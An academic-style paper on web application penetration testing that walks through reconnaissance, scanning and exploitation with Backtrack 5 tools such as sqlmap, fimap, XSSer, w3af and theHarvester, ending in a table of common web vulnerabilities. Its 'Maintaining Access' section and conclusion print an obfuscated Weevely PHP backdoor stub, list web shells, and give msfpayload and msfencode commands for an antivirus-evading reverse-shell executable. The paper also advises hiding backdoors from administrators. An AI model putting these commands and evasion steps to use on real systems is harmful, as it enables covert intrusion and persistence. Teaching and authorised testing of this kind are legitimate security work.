An Integrated Approach to Web Application Penetration Testing

***Alok Singh[1]**
****Lovely Lakhmani Balani[2]**
*****Mr. Brijesh Kumar Pandey[3]**

Abstract

Penetration testing is a method to assess and evaluate the security of computer network, website and application software. Penetration testing is a legal and authorized method to assess and secure a computer network. Through this paper we intend to introduce systematic and integrated approach to Web Application Penetration Testing. Nowadays most of the software applications are provided on web platform. Web applications increased accessibility and availability of software and services however it increases risk of malicious attacks. In order to provide quality software services web applications providers need to assess potential vulnerabilities and remove these potential weaknesses in their system to make it more secure from potential attackers. Pen tester applies various approaches to assess strength and weaknesses of a computer system. In this paper we discuss various steps involved in penetration testing such as information gathering, vulnerability analysis, exploitation and test analysis phase. We also discuss various automated tools available to a Pen Tester and their applications. Comparative vulnerability analysis is also provided on the basis of various Assessment parameters such as exploitability, prevalence, detect ability and impact.

Keywords: *Penetration testing, Web Applications, vulnerability analysis, CMS, Backtrack5, OWSAP, IPS/IDS, Web crawlers etc.*

Introduction

A penetration test is a method of evaluating the security of a computer system or network by simulating an attack from a malicious source, known as a Black Hat Hacker, or Cracker. The process involves an active analysis of the system for any potential vulnerability that may result from poor or improper system configuration, known and/or unknown hardware or software flaws, or operational weaknesses in process or technical countermeasures.This analysis is carried out from the position of a potential attacker, and can involve active exploitation of security vulnerabilities. Any security issues that are found will be presented to the system owner together with an assessment of their impact and often with a proposal for mitigation or a technical solution. The intent of a penetration test is to determine feasibility of an attack and the amount of business impact of a successful exploit, if discovered. It is a component of a full security audit [1]. Penetration testing is one of the oldest methods for assessing the security of a computer system. In the early 1970's, the. Department of Defense used this method to demonstrate the security weaknesses in computer systems and to initiate the development of programs to create more secure systems Penetration testing is increasingly used by organizations to assure the security of Information systems and services, so that security weaknesses can be fixed before they get exposed [2].Web application analysis plays a major role while doing a vulnerability assessment/penetration test. Penetration testing is the legal and authorized attempt to exploit a computer system with the intent of making a network or system more secure.

The process includes scanning systems looking for weak spots, and launching attacks and prove that the system is vulnerable to attack from a real hacker.

*Assistant Professor-MCA , Thakur Institute of Management Studies Career Development and Research
**Assistant Professor-MCA , Thakur Institute of Management Studies Career Development and Research
***Assistant Professor-MCA , Thakur Institute of Management Studies Career Development and Research

Proper information about the web application (for example like type of plugins used; CMS type – whether it is joomla, wordpress, etc.) can help the pentester determine the right exploit to use, as well reduce the overall time spent in doing so.

Steps in Penetration Testing

Information Gathering: In this step, the testers collect as much information about the web application as possible and gain understanding of its logic. The deeper the testers understand the test target, the more successful the penetration testing will be [3]. The information gathered will be used to create a knowledge base to act upon in later steps. The testers should gather all information even if it seems useless and unrelated since no one knows at the outset what bits of information are needed. This step can be carried out in many different ways: by using public tools such as search engines; using scanners; sending simple HTTP requests or specially crafted requests [4]; or walking through the application.

Vulnerability Analysis Step: Using the knowledge collected from the information gathering step, the testers then scan the vulnerabilities that exist in the web application. The testers can conduct testing on configuration management, business logic, authentication, session management, authorization, data validation, denial of service, and web services [4]. In this step, web server vulnerabilities, authentication mechanism vulnerabilities, input-based vulnerabilities and function-specific vulnerabilities are examined.

Exploitation: After the vulnerability analysis step, the testers should have a good idea of the areas that will be targeted for exploits. With the list of vulnerabilities on hand, the two applications were then exploited.

Test Analysis Phase: This phase is the interface of the results, the testers and the target entity [3]. It is important that the target entity is aware of typical attacker modus operandi, techniques and tools attackers rely on, exploits they use, and any needless exposure of data the target is suffering from.

Tools Used: Backtrack 5

Backtrack 5 comes with a very good set of tools required for performing all necessary information gathering. Tools for performing web application analysis are:

- CMS Identification
- IDS/IPS Detection
- Open Source Analysis
- Web Crawlers
- Vulnerability Assessment and Exploitation
- Maintaining Access

CMS Identification:

- blindelephant
- cms-explorer
- whatweb

BlindElephant

BlindElephant is a python based tool for fingerprinting the web applications. This tool basically attempts to discover the version used by comparing the static files at certain known locations against the hashes which are pre-computed for the versions of those files. The tool is fast, non-invasive, takes low bandwidth and is highly automated.

Usage

root@root:/pentest/web/blindelephant/src/blindelephant#python BlindElephant.py [options] url appName .We can use the appName as "guess" if we are not sure about the web application or plugin type used.

CMS-Explorer

CMS-explorer is another web application fingerprinting tool (written in perl) which can be used to identify the type of cms used and hence, perform the attack according to the information. There are few advantages in this tool, such as checking for any vulnerability from OSVDB for the particular plugin or CMS detected, updating the list of WP, Drupal, verbosity, looking into themes, and so forth, all of which gives the pentester a lot of information for performing the PT.

Usage:
root@root:/pentest/web/cms-explorer# python cms-explorer.pl -url target -type type [options]

What Web
WhatWeb is again used to identify the type of content management systems (CMS), blogging platforms, stats/analytics packages, javascript libraries and servers used. This tool has over 900 plugins for scanning purposes, supporting proxy (including TOR), can defined with ip ranges similar to NMAP, fuzzing matching, and so forth.

Usage
root@root:/pentest/web/whatweb# ./whatweb target.com
./whatweb –l will list the plugin list.

IDS-IPS detection
While performing a VA/PT on a domain, there is the chance that IDS-IPS is installed. This can sometime stop various types of attacks performed on the domain. A lot of WAFs are sold to companies as a valid mitigation technique for web application vulnerabilities.

Luckily, WAF is easy to detect because most of these use signature-based detection methods. Thus, the attacker can try to encode the attacking parameters and try to bypass the WAFs. Backtrack comes with two handy tools for detecting the IDS-IPS and they are

- waffit
- ua-tester
- **Waffit**

Waffit is a web application firewall detection tool. Detecting the firewall behind the domain is a very important step during the penetration testing process. WAF can sometimes introduce vulnerabilities if it's not configured. Analyzing them is also a major concern while doing a VA/PT. WAFs are usually easy to detect and they can be bypassed by encoding the attack parameters.

Usage

root@root:~$python wafw00f.py http://www.target.com/

Web Crawlers:

The final category of web application analyses is the web crawler. The tool found in BT5 is called webshag, and it comes in both GUI and console based. Webshag can be used to scan a web server in HTTP or HTTPS, through a proxy and using HTTP authentication

Webshag has options like port scan, gathering basic information, spider, fuzzing

Vulnerability Assessment and exploitation

The vulnerability assessment stage is where we scan our target for any loopholes or bugs. Before doing a vulnerability assessment, gathering information about the target will be more helpful. The information gathering phase remains the key step before performing further attacks, simply because it makes the work easier. So, for example in the first stage: in using the CMS scanners like BlindElephant, we scanned and found the version of the application installed. Here it is: joomla. Now in the Vulnerability assessment stage, we used scanner like joomscan. Below is the image showing the vulnerability in a particular site.

Usage*:*

./joomscan.pl –u www.target.com or IP address

The joomscan scans all the plug-ins installed and gives details about the vulnerabilities. We can use this information for further attacks.

SqlMap:

SqlMap is another good tool in the vulnerability assessment category. This tool can test whether the target url is vulnerable or not. Below is the example, where the highlighted text tells us that the parameter “newId” is vulnerable. The usage is as follows:

./sqlmap.py –u target.com -f

Fimap:

fimap is a python- based tool which can be used to find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps. More modules and functionalities are being added to this tool, making it even more powerful. Fimap also allows us to add our own payloads.

Usage:
fimap -u http://www.example.com/index.php?inc=index.php

-U defines the target url

To scan a list of url from a text file, the command would be

fimap -m -l '/tmp/urlscan.txt'

- -m is for mass scanning
- -l is for list
- Scan websites using google dorks
- .fimap.py -g -q ‘inurl:include.php’
- -g for searching from google
- -q stands for the query which is to be searched in google.

Fimap can exploit the vulnerable target and can also upload an interactive shell for more exploitation

Xsser:
Xsser is an automatic -framework- to detect, exploit and report XSS vulnerabilities. It comes with options for bypassing the filters and other mode of injection.
Usage:

./XSSer.py -u "http://www.target.com" -g "Search.php?tfSearch="–referer"666.666.666.666″–user-agent"correctaudit"

This tool gives information like attack url, browsers and the method of the attack. Once the vulnerable url is detected, we can open the url and check it to confirm.

The Harvestor:

the Harvester tool is used for gathering user names, their email accounts, hostnames/subdomains from public resources (like, for example, google, bing, etc.). This tool again helps the pentester during the initial stage of VA/PT. It can be found in the "Web open source assessment " option under web vulnerability assessment.

Usage:

./theHaervester.py –ld [target domain] –d [data source]

The domains and the emails related to the particular website are being extracted, which can help for further attacks or research about the target.

Shodan:

This is, again, another web-based assessment tool of particular usefulness for pentesters. It can be used to gather a range of intelligence about the target devices which are connected to the internet. We can, for example, search to see if any network devices like routers, Voip, Printers, cams etc. are in place. To search if any service is running in the domain, the syntax would be:

Syntax: Hostname:target.com port:80,21,22

Or simply to find out the results about the hostname, then simply search for

Syntax: Hostname:target.com

W3af:

W3af is auditing and web application attack tool. It's basically divided into various modules like attack, audit, exploit, discovery, evasion, brute force, and mangle, all of which can be used accordingly. These modules in w3af comes with various sub modules like, for example, we can select sqli option in Audit module, assuming that we need to perform a particular type of auditing.

Once the scan is completed, the W3af framework shows detailed information about the vulnerabilities found in the target website which can be compromised accordingly for further exploitation.

Once the vulnerability is found, we can configure the plugins in the "Exploit" tab and perform further attacks, which can help us to get a webshell in the target site. Another major advantage is W3af also comes with MSF for taking the attack to next level. The results can be exported to html format, also.

Maintaining Access: Once we have access to the target website, we need to maintain access for future use because we don't want to be starting from square one again and again. In order to avoid this, we can upload the web shells or backdoors to the target website. And encoding your

backdoor is also important, since it should not create noise once uploaded in the server. If it does, then the administrators can easily detect it and remove the backdoors.

BT5 comes with few good options for uploading webshells.

Weevely: Weevely is a stealthy PHP backdoor, designed to stay beneath the radar. It provides a telnet-like connection, using a dynamic probe of system like functions to bypass PHP security restrictions. Weevely seeks functions like system(), passthru(), popen(), exec(), proc_open(), shell_exec(), pcntl_exec(), perl->system(), python_eval()), using the functions enabled on a remote server. The below code is a sample code of the backdoor created by the weevely.

eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwk
YSk7IGlmKHJlc2V0KCRhKT09J2luJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPGZv
c2VjPic7ZXZhbChiYXNlNjRfZGVjb2RlKHN0cl9yZXBsYWNlKCIgIiwgIisiLCBqb2luK
GFycmF5X3NsaWNlKCRhLGNvdW50KCRhKS0zKSkpKSk7ZWNobyAnPC9mb3NlYz4nO30
='));

Usage: To create a backdoor.

Weevely.py –g –o filename –p password

This will create a backdoor with a specific name and will be password protected. Upload to the target server and access the backdoor using the following command:

Usage:

weevely.py –t –u http://Remote-IP/backdoor.php -p infosec

Webshells:
Here is a list of specific web shells which can be used. These are useful in various situations, such as if the web application has a vulnerability (like file upload) or any others that can help us to upload the backdoors. Depending on the website type (for example, if the website is coded in php), then use the php based backdoors. The following web shells available are

- simple-backdoor.php
- php-backdoor.php
- jsp-reverse.jsp
- cmdjsp.jsp
- cmd-asp-5.1.asp
- cmdasp.aspx
- perlcmd.cgi
- cfexec.cfm

MsfPayload:

Metasploit can be used to create backdoors which can then be used for maintaining access in the target server. This can be done with the help of msfpayload. The steps for creating backdoor in msfpayload are as follows:

We need to select the payload which we are going to use to get a Meterpreter shell spawned via a reverse TCP connection. The command would be:

msf > msfpayload windows/meterpreter/reverse_tcp

This payload needs two parameters: LHOST (attackers IP address), and the LPORT for selecting the port that we are going to use. The "R" is then used to give the output file in RAW data format so that we can encode it later on.

Msf > msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234 R

This will create the payload but it has to be encoded in order to avoid AV detection. This can be done using the msfencode option. In order to do this, we need to pipe ("|") the output generated by msfpayload to msfencode.

Msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 R| msfencode –e x86/shikata_ga_nai –t exe >> infosec.exe

-e can be used to specify the type of encoding needed. Here I am using shikata_ga_nai encoding and –t for the type of file extension. Here it's an exe file. Below is the image of the list of encoders available in MSF.

Vulnerability Assessment Parameters:

Following are the vulnerability assessment parameters:

1. **Exploitability**
2. **Prevalence**
3. **Detect ability**
4. **Impact**

Common vulnerabilities:

Vulnerabilities	Attack Vector	Security weaknesses	Technical impacts
Injections	Attacker sends simple text-based attacks that exploit the syntax of the targeted interpreter. Almost any source of data can be an injection vector, including internal sources.	occur when an application sends untrusted data to an interpreter. Injection flaws are very prevalent, particularly in legacy code. They are often found in SQL, LDAP, Xpath, or	Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.

		NoSQL queries; OS commands; XML parsers, SMTP Headers, program arguments, etc. Injection flaws are easy to discover when examining code, but frequently hard to discover via testing. Scanners and fuzzers can help attackers find injection flaws.	

Broken Authentication and Session Management	Attacker uses leaks or flaws in the authentication or session management functions (e.g., exposed accounts, passwords, session IDs) to impersonate users.	Developers frequently build custom authentication and session management schemes, but building these correctly is hard. As a result, these custom schemes frequently have flaws in areas such as logout, password management, timeouts, remember me, secret question, account update, etc. Finding such flaws can sometimes be difficult, as each implementation is unique.	Such flaws may allow some or even all accounts to be attacked. Once successful, the attacker can do anything the victim could do. Privileged accounts are frequently targeted.
Cross-Site Scripting (XSS)	Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.	XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS. Detection of most XSS flaws is fairly easy via testing or code analysis.	Attackers can execute scripts in a victim's browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user's browser using malware, etc.
Security Misconfiguration	Attacker accesses default accounts, unused pages, unpatched flaws, unprotected files and directories, etc. to gain unauthorized access to or knowledge of the system.	Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, database, framework, and custom code. Developers and system administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc.	The system could be completely compromised without you knowing it. All of your data could be stolen or modified slowly over time. Recovery costs could be expensive
Sensitive Data Exposure	Attackers typically don't break crypto directly. They break something else, such	The most common flaw is simply not encrypting sensitive data. When crypto	Failure frequently compromises all data that should have been protected. Typically, this information

	as steal keys, do man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user's browser.	is employed, weak key generation and management, and weak algorithm usage is common, particularly weak password hashing techniques. Browser weaknesses are very common and easy to detect, but hard to exploit on a large scale. External attackers have difficulty detecting server side flaws due to limited access and they are also usually hard to exploit.	includes sensitive data such as health records, credentials, personal data, credit cards, etc.

Conclusion

These are few methods followed while performing an exploitation of a web application. Once we get the information about our target, try to perform a vulnerability assessment in order to get information about the loopholes which can be used. Once this is done, exploit the vulnerabilities and if necessary, upload a backdoor. As I've said before, encode the backdoors in order to avoid detection. Hope this helps you in finding vulnerability, exploiting and how to maintain access in your target.

References

- *en.wikipedia.org/wiki/Penetration*
- *Andreu, A(2006) .Professional Pen Testing for Web Application Wrox publisher, 1st edition.*
- *OWASP. "Web Application Penetration Testing,"*
- *http://www.owasp.org/index.php/Web_Application_Pene tration_Testing.*
- *http://www.corecom.com/external/livesecurity/pentest.html*
- *http://www.network-defense.com/papers/pentest.html*
- *Internet Security Systems, Network and Host-based Vulnerability Assessment*
- *http://www.infosecinstitute.com/blog/ethicalhacking_computer_forensics.html*
- *http://searchnetworking.techtarget.com/generic/0,295582,sid7_gci1083715,00.html*